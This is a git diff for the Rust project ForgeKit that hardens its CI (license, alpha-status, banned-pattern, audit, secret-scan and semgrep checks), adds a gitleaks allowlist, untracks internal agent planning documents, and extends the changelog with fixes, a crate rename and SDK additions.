diff --git a/.github/workflows/validate.yml b/.github/workflows/validate.yml index c30dea8..feef2b1 100644 --- a/.github/workflows/validate.yml +++ b/.github/workflows/validate.yml @@ -12,8 +12,56 @@ jobs: steps: - uses: actions/checkout@v4 + - name: Check license is GPL-3.0 only + run: | + echo "πŸ” Checking license..." + if grep -rq "GPL-3.0-or-later" Cargo.toml */Cargo.toml 2>/dev/null; then + echo "❌ FAIL: License must be GPL-3.0 only, not GPL-3.0-or-later" + exit 1 + fi + echo "βœ… License is GPL-3.0-only" + + - name: Check public docs for exaggerated claims + run: | + echo "πŸ” Checking public docs for exaggerated claims..." + if grep -ri "production-ready" README.md docs/MANUAL.md CHANGELOG.md */README.md 2>/dev/null; then + echo "❌ FAIL: ForgeKit is alpha software β€” no 'production-ready' claims" + echo " Use precise stability language (alpha, work in progress, experimental)" + exit 1 + fi + echo "βœ… No exaggerated claims in public docs" + + - name: Check alpha status is documented + run: | + echo "πŸ” Checking alpha status is documented..." + if ! grep -qi "alpha\|work in progress\|experimental" README.md; then + echo "❌ FAIL: README must state alpha/work-in-progress status" + exit 1 + fi + echo "βœ… Alpha status documented" + + - name: Check for banned code patterns (todo!/unimplemented!/dead-code allow) + run: | + echo "πŸ” Checking for banned code patterns..." + # todo!/unimplemented! in production paths (exclude test files where + # they may appear as fixture data inside string literals) + if rg 'todo!\(|unimplemented!\(' \ + forgekit_core/src/ forgekit_agent/src/ forgekit_runtime/src/ forgekit-reasoning/src/ \ + -g '!*test*' -g '!*tests*' 2>/dev/null; then + echo "❌ FAIL: todo!/unimplemented! found in source (implement or omit)" + exit 1 + fi + # #[allow(dead_code)] β€” never acceptable + if rg '#\[allow\(dead_code\)\]' forgekit_core/src/ forgekit_agent/src/ forgekit_runtime/src/ forgekit-reasoning/src/ 2>/dev/null; then + echo "❌ FAIL: #[allow(dead_code)] found β€” delete the dead code instead" + exit 1 + fi + echo "βœ… No banned code patterns" + - name: Setup Rust uses: dtolnay/rust-toolchain@stable + with: + components: clippy, rustfmt - name: Cache cargo dependencies uses: Swatinem/rust-cache@v2 @@ -23,6 +71,9 @@ jobs: - name: cargo fmt run: cargo fmt --all -- --check + - name: cargo check + run: cargo check --all-targets --all-features + - name: cargo clippy run: cargo clippy --workspace --all-targets -- -D warnings @@ -30,7 +81,38 @@ jobs: run: cargo test --workspace -- --skip "thread_safety" --skip "stress_test" --skip "concurrent_state" timeout-minutes: 10 - - name: Semgrep - uses: semgrep/semgrep-action@v1 + - name: cargo audit + run: | + cargo install cargo-audit --locked + cargo audit + + - name: cargo deny + run: | + cargo install cargo-deny --locked + cargo deny check + + gitleaks: + name: Gitleaks Secret Scan + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 with: - config: .semgrep/rules + fetch-depth: 0 + + - name: Install and run Gitleaks + run: | + curl -sL https://github.com/gitleaks/gitleaks/releases/download/v8.24.3/gitleaks_8.24.3_linux_x64.tar.gz | tar -xz -C /usr/local/bin gitleaks + gitleaks detect --verbose --config .gitleaks.toml + + semgrep: + name: Semgrep Security Scan + runs-on: ubuntu-latest + container: + image: semgrep/semgrep:latest + steps: + - uses: actions/checkout@v4 + + - name: Semgrep OSS scan + # Using only custom rules β€” p/rust community rules produce too many + # false positives for CLI tools (args, temp_dir, unsafe in watchers). + run: semgrep ci --oss-only --config .semgrep/rules/ diff --git a/.gitignore b/.gitignore index 4ae4412..1834e5b 100644 --- a/.gitignore +++ b/.gitignore @@ -15,6 +15,8 @@ Cargo.lock # Forge database .forge/ +# machine-local agent config (LLM endpoint etc.) β€” do not commit +.forge.toml *.db *.db-shm *.db-wal @@ -33,6 +35,11 @@ Thumbs.db # Internal planning documents (not for public repo) /.planning/ +STATE.md +PUBLISH.md +SPLICE_INTEGRATION.md +# internal design specs generated during development +docs/superpowers/ # CI/CD /.ci/ diff --git a/.gitleaks.toml b/.gitleaks.toml new file mode 100644 index 0000000..8634ee7 --- /dev/null +++ b/.gitleaks.toml @@ -0,0 +1,31 @@ +title = "ForgeKit Gitleaks Config" + +[extend] +# Use default gitleaks rules as base +useDefault = true + +[allowlist] +# Paths to ignore (not secrets, just noise) +paths = [ + '''\.forge\.toml$''', + '''\.forge\/''', + '''\.magellan\/''', + '''\.hermes\/''', + '''target\/''', + '''\.git\/''', + '''\.cargo\/''', + '''Cargo\.lock$''', + '''\.cargo_vcs_info\.json$''', +] + +# Regexes for test/example values to ignore +regexes = [ + '''YOUR_''', + '''example''', + '''placeholder''', + '''dummy''', + '''test_key''', + '''fake_token''', + '''localhost''', + '''127\.0\.0\.1''', +] diff --git a/.hermes/plans/2025-05-18-chain-of-custody.md b/.hermes/plans/2025-05-18-chain-of-custody.md deleted file mode 100644 index 8271d2f..0000000 --- a/.hermes/plans/2025-05-18-chain-of-custody.md +++ /dev/null @@ -1,206 +0,0 @@ -# Implementation Plan: Chain of Custody - -## Grounded Analysis Summary - -**DB:** `.magellan/forge.db` β€” 83 files, 2499 symbols, 3345 calls -**Workspace:** Compiles clean. 50 tests passing on forge-agent. - -## Evidence β€” What Exists - -| Symbol | File:Line | Role | -|--------|-----------|------| -| `TaskContext` | task.rs:100-115 | Execution context with `forge`, `audit_log`, `task_id` | -| `TaskResult` | task.rs:79-93 | Enum: Success, Failed, Skipped, WithCompensation | -| `WorkflowTask::execute()` | task.rs:392-399 | Trait method: `&TaskContext -> Result` | -| `WorkflowExecutor::execute_task()` | executor.rs:1087-1176 | Hook point: record_task_started β†’ execute β†’ record_task_completed | -| `AuditLog::record()` | audit.rs:272-276 | Async event recording + persist to `.forge/audit/{tx_id}.json` | -| `AuditEvent` | audit.rs:50-227 | 24 variants (24 after our additions) | -| `PlanGraph` | plan.rs:91-93 | sqlitegraph-backed graph with `PlanNodeKind` + `PlanEdgeKind` | -| `PlanNodeKind` | plan.rs:16-28 | 11 variants | -| `PlanEdgeKind` | plan.rs:50-64 | 13 variants | - -**What does NOT exist:** -- No `SubagentRun` type anywhere -- No `ToolCall` type -- No `LogEntry` type -- No `Deliverable` type -- No `ReasoningStep` type -- No chain-of-custody edges (EXECUTED_BY, LOGGED, CALLED, PRODUCED, REASONED) - -## Architecture: The Custody Chain - -``` -Requirement - └── HAS_REQUIREMENT ──► PlanSection (data: { order: 1 }) - └── DECOMPOSES_INTO ──► Task - β”œβ”€β”€ DEPENDS_ON ──► Task (ordering between tasks) - └── EXECUTED_BY ──► SubagentRun - β”œβ”€β”€ LOGGED ──► LogEntry (data: { level, message, timestamp }) - β”œβ”€β”€ CALLED ──► ToolCall (data: { tool, args, result, exit_code, duration_ms }) - β”œβ”€β”€ REASONED ──► ReasoningStep (data: { thinking, decision, timestamp }) - └── PRODUCED ──► Deliverable (data: { file_path, sha256, diff_summary }) -``` - -**Every node gets `created_at: DateTime` in its data field.** - -### Key Properties - -1. **Forward trace**: "For requirement X, show me everything" β€” walk down via edges -2. **Backward trace**: "This tool call changed auth.rs β€” why?" β€” walk up to SubagentRun β†’ Task β†’ PlanSection β†’ Requirement -3. **Timeline reconstruction**: Sort all nodes under a requirement by `created_at` -4. **Gap detection**: Task with no EXECUTED_BY edge = not yet run - -### Ordering Between Plan Sections - -PlanSection nodes store `{ order: usize }` in their data. The plan graph exposes -`sections_in_order()` which returns sections sorted by order field. - -Tasks within a section have DEPENDS_ON edges. The executor respects these -(via existing petgraph DAG). - -## Implementation Tasks (dependency-ordered) - -### Task A: New PlanNodeKind + PlanEdgeKind variants (plan.rs + audit.rs) - -**Adds to `PlanNodeKind`:** -- PlanSection (ordered section of a plan) -- SubagentRun (one execution of a subagent on a task) -- LogEntry (timestamped log from subagent) -- ToolCall (tool invocation with args/result) -- ReasoningStep (LLM thinking/decision captured mid-run) -- Deliverable (file/artifact produced, with SHA) - -**Adds to `PlanEdgeKind`:** -- ExecutedBy (Task β†’ SubagentRun) -- Logged (SubagentRun β†’ LogEntry) -- Called (SubagentRun β†’ ToolCall) -- Reasoned (SubagentRun β†’ ReasoningStep) -- Produced (SubagentRun β†’ Deliverable) -- AddressesIn (PlanSection β†’ Requirement β€” which req this section addresses) - -**Adds to `AuditEvent`:** -- SubagentStarted { timestamp, workflow_id, task_id, run_id, agent_name } -- SubagentCompleted { timestamp, workflow_id, task_id, run_id, duration_ms, status } - -**Files:** plan.rs, audit.rs -**Tests:** 6 new tests covering new variants and serialization - -### Task B: Custody types (plan.rs β€” new structs) - -New serializable structs stored as node `data`: - -```rust -struct SubagentRunData { - run_id: String, // UUID - agent_name: String, - started_at: DateTime, - completed_at: Option>, - status: SubagentStatus, // Running, Completed, Failed, Cancelled - input_prompt: String, - output_summary: Option, -} - -enum SubagentStatus { Running, Completed, Failed, Cancelled } - -struct LogEntryData { - level: LogLevel, // Info, Warn, Error, Debug - message: String, - timestamp: DateTime, -} - -struct ToolCallData { - tool: String, - args: serde_json::Value, - result: Option, - exit_code: i32, - duration_ms: u64, - timestamp: DateTime, -} - -struct ReasoningStepData { - thinking: String, - decision: String, - timestamp: DateTime, -} - -struct DeliverableData { - file_path: String, - sha256: String, - diff_summary: Option, - timestamp: DateTime, -} - -struct PlanSectionData { - order: usize, - title: String, - description: String, -} -``` - -**Files:** plan.rs -**Tests:** Round-trip serialization for each struct, deserialization edge cases - -### Task C: PlanGraph custody methods (plan.rs) - -New methods on PlanGraph: - -```rust -// Section management (ordered) -fn add_section(&mut self, plan_id: i64, requirement_id: i64, data: PlanSectionData) -> Result; -fn sections_in_order(&self, plan_id: i64) -> Result>; - -// Subagent custody -fn begin_subagent_run(&mut self, task_id: i64, data: SubagentRunData) -> Result; -fn complete_subagent_run(&mut self, run_id: i64, status: SubagentStatus, summary: &str) -> Result<()>; - -// Recording within a run -fn record_log(&mut self, run_id: i64, data: LogEntryData) -> Result; -fn record_tool_call(&mut self, run_id: i64, data: ToolCallData) -> Result; -fn record_reasoning(&mut self, run_id: i64, data: ReasoningStepData) -> Result; -fn record_deliverable(&mut self, run_id: i64, data: DeliverableData) -> Result; - -// Traversal queries -fn trace_forward(&self, requirement_id: i64) -> Result; // Req β†’ ... β†’ Deliverables -fn trace_backward(&self, node_id: i64) -> Result>; // Any node β†’ Requirement -fn timeline(&self, root_id: i64) -> Result>; // All nodes sorted by created_at -fn find_gaps(&self, plan_id: i64) -> Result>; // Tasks with no EXECUTED_BY - -// Custody types for query results -struct CustodyChain { requirement_id: i64, sections: Vec, } -struct CustodySection { section: PlanSectionData, tasks: Vec, } -struct CustodyTask { task_id: i64, runs: Vec, } -struct CustodyRun { run: SubagentRunData, logs: Vec, calls: Vec, reasoning: Vec, deliverables: Vec, } -struct CustodyNode { id: i64, kind: PlanNodeKind, data: serde_json::Value, timestamp: Option>, } -``` - -**Files:** plan.rs -**Tests:** -- test_add_section_creates_ordered_nodes -- test_begin_and_complete_subagent_run -- test_record_log_tool_call_reasoning_deliverable -- test_trace_forward_returns_full_chain -- test_trace_backward_from_tool_call_to_requirement -- test_timeline_sorted_by_created_at -- test_find_gaps_returns_tasks_without_runs -- test_full_custody_chain_roundtrip (requirement β†’ section β†’ task β†’ run β†’ tool call β†’ deliverable) - -## Scope Decisions - -**In this slice:** -- All types and graph operations above -- AuditEvent variants for SubagentStarted/Completed -- All traversal queries - -**Deferred (next slices):** -- Wiring into WorkflowExecutor (the `execute_task` hook point) -- Wiring into TaskContext (automatic custody recording) -- TUI dashboard rendering of custody chain -- Real subagent integration (actually spawning and recording) - -## Estimated Size - -- Task A: ~80 lines changes (enum variants + audit variants) -- Task B: ~100 lines (struct definitions) -- Task C: ~400 lines (methods + traversal + query structs) -- Tests: ~300 lines -- **Total: ~880 lines across 2 files** (plan.rs, audit.rs) diff --git a/.hermes/plans/2025-05-18-quality-gates-and-plan-nodes.md b/.hermes/plans/2025-05-18-quality-gates-and-plan-nodes.md deleted file mode 100644 index 21f4276..0000000 --- a/.hermes/plans/2025-05-18-quality-gates-and-plan-nodes.md +++ /dev/null @@ -1,398 +0,0 @@ -# Implementation Plan: Knowledge Explorer + Quality Gates + Plan Nodes - -## Grounded Analysis Summary - -**DB:** `.magellan/forge.db` β€” 79 files, 2431 symbols, 1644 references -**Wiki DB:** `/home/feanor/wiki/atheneum.db` β€” 912 entities (Agent/Event/Knowledge), 608 edges, HNSW vectors -**Workspace:** Compiles clean (`cargo check --workspace` passes) - -### Evidence Cited - -| Evidence | Source | Implication | -|----------|--------|-------------| -| `KnowledgeSource` trait at `observe.rs:13` | read_file | Already exists, `query(&self, target) -> Option>` | -| `Observer` has `knowledge_source` field at `observe.rs:34` | read_file | Wired but not connected to anything real | -| `Observer::gather()` checks knowledge_source at line 96 | read_file | Step 0: queries knowledge source before graph search | -| Wiki `atheneum.db` has `graph_entities` (kind: Agent/Event/Knowledge), `graph_edges` (edge_type), `hnsw_vectors` | sqlite3 query | Full semantic graph with history | -| Wiki edges: `created` (304), `performed_by` (304) | sqlite3 query | Who did what, when β€” provenance chain | -| Wiki entities contain full articles with SHA256, ingest timestamps, source URLs | sqlite3 query | Rich metadata for relevance matching | -| `forge_agent` sqlitegraph dep optional behind `"sqlite"` feature | Cargo.toml | Knowledge explorer must be feature-gated same way | -| `WorkflowExecutor::execute_task()` at `executor.rs:1085` | read_file | Gate hook point: after task exec, before record_task_completed | -| `TaskContext { forge: Option }` at `task.rs:101` | read_file | Tasks have sqlitegraph access | -| `AuditLog` cloned into each `TaskContext` at `executor.rs:1133` | read_file | Gate results recordable as AuditEvent variants | -| No existing gate/quality/explore code | grep -rn | Green field | -| `HypothesisBoard`, `Evidence`, `KnowledgeGapAnalyzer` in forge-reasoning | magellan find | Reasoning layer exists but doesn't query external knowledge | - ---- - -## Slice: Knowledge Explorer + Plan Nodes + Quality Gates + Semgrep - -5 tasks, ordered by dependency. Each task follows RED-GREEN-REFACTOR. - -### Task 0: Knowledge Explorer (the new piece) - -**Purpose:** Before the model proposes a plan, it explores the wiki graph and project history -to find relevant knowledge β€” past decisions, dead ends, working patterns, related research. - -**Files to create:** -- `forge_agent/src/workflow/explorer.rs` β€” KnowledgeExplorer types + explorer - -**Types:** -```rust -/// What to explore and how deep to go. -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct ExploreQuery { - /// The project or topic to explore (e.g. "sparse inference", "forge") - pub topic: String, - /// Kinds of entities to look for - pub entity_kinds: Vec, - /// How many hops from seed entities - pub depth: u32, - /// Max results to return - pub limit: usize, - /// Include project history (past decisions, dead ends) - pub include_history: bool, -} - -/// A piece of discovered knowledge relevant to the current task. -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct DiscoveredKnowledge { - /// What was found - pub title: String, - /// Entity kind (Agent, Event, Knowledge) - pub kind: String, - /// Relevance snippet - pub summary: String, - /// Where it came from (wiki path, project, URL) - pub source: String, - /// How it was found (semantic, graph traversal, keyword) - pub discovery_method: String, - /// Relevance score (0.0-1.0) - pub relevance: f64, - /// Connected entities (for graph navigation) - pub related: Vec, - /// Whether this is a historical decision (past plan, dead end, lesson) - pub is_historical: bool, -} - -/// Explores wiki graph + project metadata for relevant knowledge. -pub struct KnowledgeExplorer { - /// Path to atheneum wiki DB - wiki_db: PathBuf, - /// Path to project's magellan DB (if exists) - project_db: Option, -} - -impl KnowledgeExplorer { - /// Create explorer pointing to wiki DB. - /// Returns None if wiki DB doesn't exist β€” caller should degrade gracefully. - pub fn new(wiki_db: PathBuf) -> Option; - - /// Create explorer in code-graph-only mode (no wiki). - /// Used when user has no wiki DB β€” all knowledge comes from - /// the project's own magellan DB. - pub fn code_only(project_db: PathBuf) -> Self; - - /// Set project DB for project-specific history. - pub fn with_project_db(mut self, db: PathBuf) -> Self; - - /// Explore wiki for knowledge relevant to a query. - /// Uses HNSW semantic search on the wiki graph, then - /// traverses edges to find connected decisions and history. - /// No-ops in code_only mode (returns empty vec). - pub async fn explore(&self, query: &ExploreQuery) -> anyhow::Result>; - - /// Find project history β€” past decisions, dead ends, lessons. - /// Queries the wiki for entities tagged with the project name - /// and traverses created/performed_by edges for provenance. - /// Falls back to project's magellan DB if no wiki. - pub async fn find_project_history(&self, project: &str) -> anyhow::Result>; - - /// Find cross-project connections. - /// Searches for entities related to concepts that appear - /// in the current project's codebase. - pub async fn find_connections(&self, symbols: &[String]) -> anyhow::Result>; -} - -/// NOTE: Installation flow (forge-py, not this crate) should: -/// 1. Check if wiki DB exists at default path (~/.forge/wiki.db or user-specified) -/// 2. If not, prompt: "Would you like to create a knowledge base? This helps -/// forge learn from past decisions and find cross-project patterns." -/// 3. If yes, initialize empty sqlitegraph DB with wiki schema -/// 4. If no, proceed in code-only mode (no wiki exploration) -/// This is a distribution concern, not a library concern β€” but the API -/// must support both paths cleanly. -``` - -**Implementation:** -- `explore()`: Opens atheneum.db as sqlitegraph, uses `search(query, k)` for HNSW semantic - search, then traverses `graph_edges` (created, performed_by) from seed entities to find - connected decisions and history. Returns ranked `DiscoveredKnowledge`. -- `find_project_history()`: Cypher query on wiki graph: - `MATCH (e:Knowledge) WHERE e.data LIKE '%project%' RETURN e` - Then follows `created`/`performed_by` edges for provenance chain. -- `find_connections()`: For each symbol name, HNSW search in wiki, then deduplicate. - -**Integration with Observer:** -- Implement `KnowledgeSource` trait from `observe.rs:13` for `KnowledgeExplorer` -- Wire into `Observer::with_knowledge_source()` so `gather()` at line 96 automatically - queries wiki before doing expensive graph searches -- The Observer already checks knowledge_source at line 96 β€” this makes it real - -**Test file:** inline tests -- test_explore_returns_relevant_knowledge (mock wiki DB) -- test_find_project_history_traverses_edges -- test_find_connections_deduplicates -- test_discovered_knowledge_serialization -- test_knowledge_source_trait_impl -- test_code_only_mode_returns_empty_explore -- test_new_returns_none_when_no_db - ---- - -### Task 1: AuditEvent variants for gates + exploration - -**File to modify:** `forge_agent/src/audit.rs` - -**Add to AuditEvent enum:** -```rust -/// Knowledge explored before planning -KnowledgeExplored { - timestamp: DateTime, - query: String, - results_count: usize, - top_relevance: f64, -}, -/// Quality gate passed -GatePassed { - timestamp: DateTime, - workflow_id: String, - task_id: String, - gate_name: String, - duration_ms: u64, -}, -/// Quality gate failed -GateFailed { - timestamp: DateTime, - workflow_id: String, - task_id: String, - gate_name: String, - exit_code: i32, - errors: u32, - warnings: u32, -}, -/// Semgrep finding -SemgrepFinding { - timestamp: DateTime, - workflow_id: String, - task_id: String, - check_id: String, - file: String, - line: u32, - message: String, - severity: String, -}, -``` - -**Test file:** inline tests -- test_audit_event_knowledge_explored_serialization -- test_audit_event_gate_passed_serialization -- test_audit_event_gate_failed_serialization -- test_audit_event_semgrep_finding_serialization - ---- - -### Task 2: Gate types and runner - -**Files to create:** -- `forge_agent/src/workflow/gate.rs` β€” Gate types + GateRunner - -**Types:** -```rust -#[derive(Clone, Debug, Serialize, Deserialize)] -pub enum GateLanguage { Rust, Python, TypeScript, Go } - -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct Gate { - pub name: String, - pub tool: String, - pub language: GateLanguage, - pub priority: u32, - pub on_fail: GateAction, - pub config: Option, -} - -#[derive(Clone, Debug, Serialize, Deserialize)] -pub enum GateAction { Block, Warn, AutoFix } - -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct GateResult { - pub gate_name: String, - pub passed: bool, - pub exit_code: i32, - pub stdout: String, - pub structured_output: Option, - pub errors: u32, - pub warnings: u32, - pub duration_ms: u64, -} - -pub struct GateRunner { gates: Vec } -``` - -**Test file:** inline tests -- test_gate_priority_ordering -- test_short_circuit_on_block -- test_warn_does_not_block -- test_gate_result_serialization - ---- - -### Task 3: Semgrep gate implementation - -**File to create:** `forge_agent/src/workflow/semgrep.rs` - -**Types:** -```rust -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct SemgrepFinding { - pub check_id: String, - pub file: String, - pub start_line: u32, - pub end_line: u32, - pub message: String, - pub severity: String, - pub category: Option, -} - -pub struct SemgrepRunner { - configs: Vec, - json_output: bool, -} -``` - -**Built-in gate presets:** -```rust -impl Gate { - pub fn semgrep(project_root: &Path) -> Self { ... } - pub fn clippy() -> Self { ... } - pub fn cargo_fmt() -> Self { ... } - pub fn ruff() -> Self { ... } - pub fn mypy() -> Self { ... } -} -``` - -**Test file:** inline tests -- test_semgrep_finding_parse_from_json -- test_semgrep_runner_empty_findings_passes -- test_all_presets_have_valid_priority - ---- - -### Task 4: Plan graph nodes in sqlitegraph - -**File to create:** `forge_agent/src/workflow/plan.rs` - -**Types:** -```rust -#[derive(Clone, Debug, Serialize, Deserialize)] -pub enum PlanNodeKind { - Requirement, Plan, Task, Decision, Constraint, - Gate, GateResult, SemgrepFinding, - Approval, Rejection, - DiscoveredKnowledge, -} - -#[derive(Clone, Debug, Serialize, Deserialize)] -pub enum PlanEdgeKind { - HasRequirement, DecomposesInto, Implements, DependsOn, - ValidatedBy, AssignedTo, Approved, Rejected, - FoundIn, DetectedBy, Checks, - InformedBy, // Plan/Decision informed by DiscoveredKnowledge - RelatedTo, // Cross-project connection from explorer -} - -pub struct PlanGraph { graph: SqliteGraph } -``` - -**New methods for knowledge integration:** -```rust -impl PlanGraph { - // ... existing methods from prior plan ... - - /// Record that a plan was informed by discovered knowledge. - pub fn link_knowledge(&mut self, plan_id: i64, knowledge: &DiscoveredKnowledge) -> anyhow::Result<()>; - - /// Query all knowledge that informed a plan. - pub fn get_plan_knowledge(&self, plan_id: i64) -> anyhow::Result>; -} -``` - -**Test file:** inline tests -- test_add_requirement_creates_node -- test_add_plan_links_to_requirements -- test_link_knowledge_creates_informed_by_edge -- test_gate_result_links_to_gate -- test_semgrep_finding_links_to_gate_result -- test_approve_creates_approval_edge -- test_reject_creates_rejection_edge -- test_cypher_query_returns_results -- test_full_plan_graph_roundtrip - ---- - -## Execution Order - -``` -Task 0 (KnowledgeExplorer) β†’ no dependencies, new file -Task 1 (AuditEvent variants) β†’ no dependencies, pure enum additions -Task 2 (Gate types + GateRunner) β†’ depends on Task 1 (emits AuditEvents) -Task 3 (Semgrep runner) β†’ depends on Task 2 (produces GateResult) -Task 4 (Plan graph nodes) β†’ depends on Task 0, 2, 3 (stores all types) -``` - -Tasks 0 and 1 are independent β€” can run in parallel. - -## The Flow - -``` -User inputs requirement - ↓ -KnowledgeExplorer.explore(requirement) - β†’ HNSW search wiki graph β†’ DiscoveredKnowledge[] - β†’ find_project_history(project) β†’ past decisions, dead ends - ↓ -Model proposes Plan (informed by discovered knowledge) - ↓ -User reviews, adjusts, approves β†’ PlanGraph.approve() - ↓ -Plan decomposes into Tasks β†’ PlanGraph.add_task() - ↓ -Each Task executes β†’ GateRunner.run() - β†’ semgrep, clippy, ruff, mypy in priority order - β†’ GateResult nodes in PlanGraph - β†’ SemgrepFinding nodes linked to GateResult - ↓ -All gates pass β†’ Deliver -Any Block gate fails β†’ Rollback, report to user -``` - -## Verification Gates - -After all tasks: -- `cargo check --workspace` β€” clean -- `cargo clippy --workspace -- -D warnings` β€” clean -- `cargo test -p forge-agent --features sqlite` β€” all new tests pass -- `cargo fmt --check` β€” clean - -## Not In Scope (future work) - -- Turn/Session tracking (LLM interaction logging) -- Edit nodes with SHA diff tracking -- ToolCall recording -- Benchmark regression nodes -- CoverageReport nodes -- TUI dashboard rendering -- Gate integration into WorkflowExecutor::execute_task() hook -- Python bindings (forge-py) -- Multi-agent orchestration via envoy diff --git a/AGENTS.md b/AGENTS.md deleted file mode 100644 index 01843ee..0000000 --- a/AGENTS.md +++ /dev/null @@ -1,18 +0,0 @@ -# Agent Instructions - -This file is intentionally small. The canonical workflow is: - -`/home/feanor/Projects/AGENTS.md` - -Follow that shared standard before making code changes: query with Magellan / llmgrep / Mirage first, edit surgically, then run the standard verification gates and refresh the graph. - -Project: `forge` -Scope: the repository root -Default database: `/home/feanor/Projects/forge/.magellan/forge.db` - -Local notes: - -- Preserve existing dirty worktree changes; assume they belong to the user or another active agent. -- Prefer repo-local `.claude/scripts/quality-gate.sh` when present. -- Use `magellan watch --root ./src --db .magellan/forge.db --scan-initial` if the database is missing or stale. -- Keep `AGENTS.md` / `CLAUDE.md` out of public packages unless the user explicitly asks otherwise. diff --git a/CHANGELOG.md b/CHANGELOG.md index b889055..3452e8b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,13 +5,212 @@ All notable changes to ForgeKit will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +> **Project status: alpha.** ForgeKit is functional work-in-progress software. +> The public API may change without notice before v1.0. Not for production use. + --- -## [0.5.0] - Unreleased +## [0.5.0] - 2026-06-15 + +### Fixed + +- **`Agent::plan()` discarded its own observation and LLM** β€” the standalone plan path constructed `Planner::new()` without wiring `self.llm`, and overwrote the observed symbols with `vec![]` and the summary with `None`. Result: every `forgekit-agent plan` query produced 0 steps (regex fallback over an empty symbol set). Now wires the LLM via `.with_llm()` and propagates `constrained.observation.symbols` + `summary`. +- **`Mutator::Rename` performed a destructive file rename for symbol renames** β€” the Rename arm unconditionally called `fs::rename(old_path, new_path)`, so `forgekit-agent run "rename greet to say_hello"` moved `src/main.rs` β†’ `./say_hello`. Now when the step carries a `file: Some(...)`, it does in-file whole-word text substitution (a true symbol rename); `file: None` retains the file-rename path. Added `replace_whole_word()` helper (ASCII word-boundary, leaves substrings untouched) + 7 tests. +- **`Agent::mutate()` returned an empty `modified_files` list** β€” even after applying steps it reported `modified_files: vec![]`, breaking downstream verification/commit. Now extracts the affected file from each `PlanStep` via a new `step_affected_file()` helper and returns the real list + diffs. +- **`CommitResult.git_committed` was a dead field** β€” defined on the struct but never populated from the commit phase. Now propagated from `CommitReport` in both `Agent::commit()` and the agent-loop commit phase. +- **Stale crate-root Status doc** β€” `lib.rs` still claimed "under active development; Observation and planning phases are implemented". Rewritten to reflect that all six phases plus the ReAct loop, workflow engine, and orchestration are implemented. +- **Two deferred-work `for now` comments** (`workflow/combinators.rs`, `workflow/auto_detect.rs`) β€” replaced with the concrete architectural reason in each case (sequential-by-design combinator; TaskNode trait-object downcast limitation). ### Added -- **Chat & Tool-Calling SDK** (`forge_agent/src/chat/`): Model-agnostic SDK for LLM-driven agent workflows. +- **Self-running reactor (Branch A)** β€” `forgekit-agent` is now wired into an automated loop driven by a Hermes cron trigger, proving the event β†’ query β†’ loop axis of the unified-tooling goal: + - `forgekit_agent/.forge.toml` β€” local LLM config (ollama / `qwen3.5-agent`), enabling `forgekit-agent` to run inside the forge repo itself. + - `~/.hermes/scripts/forge-reactor.sh` β€” `no_agent` reactor script: VRAM pre-flight (skips if the shared 7900 XT has < 8 GiB free, protecting the desktop), derives a query from an atheneum DREAM finding, runs `forgekit-agent plan` (dry-run: observe β†’ constrain β†’ plan, no mutation), and delivers a report. Heartbeat runlog at `~/.hermes/scripts/.forge-reactor.runlog`. + - Cron job `forge-reactor-complexity` (daily 07:00) β€” first target is the `run_inner` complexity hotspot (cyclomatic 23). Flip `PLAN_MODE` from `plan` to `run` to enable the full mutate β†’ verify (`cargo check` + `cargo test` gated) β†’ commit loop. + +- **Repository hygiene** β€” public-repo readiness pass: + - `.gitignore` audit: untracked 16 internal files (agent policy `AGENTS.md`/`CLAUDE.md`, `.hermes/plans/`, `STATE.md`, `PUBLISH.md`, `SPLICE_INTEGRATION.md`, `docs/superpowers/` design specs) that were committed before the ignore rules existed. Local copies preserved; removed from git only. + - CI upgraded (`.github/workflows/validate.yml`): adapted from magellan's CI β€” added `cargo check`, `cargo audit`, `cargo deny`, gitleaks secret scan, license check (GPL-3.0-only), alpha-status check, and banned-pattern scan (`todo!`/`unimplemented!`/`#[allow(dead_code)]`). Dropped magellan's "no AI/LLM terminology" check (forge IS an LLM tool). + - New `.gitleaks.toml` β€” secret-scanning config with forge-specific allowlist paths. + - Distinct per-crate READMEs: `forgekit_runtime/README.md` and `forgekit_agent/README.md` were byte-identical copies of `forgekit_core` β€” rewritten with accurate crate-specific content, alpha notices, and known limitations. All four crate READMEs now carry an alpha/WIP status banner. + - Root `README.md`: added prominent alpha banner, "What works / What is experimental" section, and `forgekit-reasoning` to the workspace table. + - `docs/MANUAL.md`: alpha notice + version fix (`forge-core = "0.3"`, was `"0.4"`). + +- **Crate rename: forge-* β†’ forgekit-*** β€” all packages renamed to use the `forgekit` prefix consistently, matching the names already published on crates.io under the `oldnordic` account: + - `forge-core` β†’ `forgekit-core`, `forge-agent` β†’ `forgekit-agent`, `forge-runtime` β†’ `forgekit-runtime`, `forge-reasoning` β†’ `forgekit-reasoning` + - Directories renamed: `forge_core/` β†’ `forgekit_core/`, etc. (git mv preserves history) + - All 982 import/dependency references updated across 128 files (`use forge_core` β†’ `use forgekit_core`, internal Cargo.toml deps, feature flags, workspace members) + - Magellan registry + database files renamed to match (`forge-core.db` β†’ `forgekit-core.db`) + - The old `forge-reasoning` crate on crates.io (0.1.2) will be yanked once `forgekit-reasoning` is published. `forge-core`/`forge-agent`/`forge-runtime` were never owned by oldnordic (owned by isala404 β€” different project), so there is nothing to yank for those; the forgekit-* names are already registered by oldnordic. + +- **SDK Builder** (`forgekit_agent/src/builder.rs`): + - `AgentBuilder` β†’ `.chat_provider(provider, config)` β†’ `AgentBuilder` β†’ `.build()` β†’ `Agent` + - Type-state pattern enforces required configuration (chat provider + config) at compile time + - Optional: `.max_iterations()`, `.step_retries()`, `.retrieval_top_k()`, `.hooks()`, `.skills()`, `.verifier()`, `.retriever()`, `.event_bus()`, `.policies()`, `.system_prompt()` + - `Agent::builder(path)` convenience method returns the builder + - 5 builder tests: produces agent, applies config, defaults match `Agent::new()`, `Agent::builder()` method, hooks+verifier passthrough + +- **SDK Prelude** (`forgekit_agent::prelude`): + - 22 stable types: `Agent`, `AgentBuilder`, `agent_builder`, `NeedsProvider`, `Ready`, `AsyncTool`, `BuiltinToolRegistry`, `ChatMessage`, `ChatProvider`, 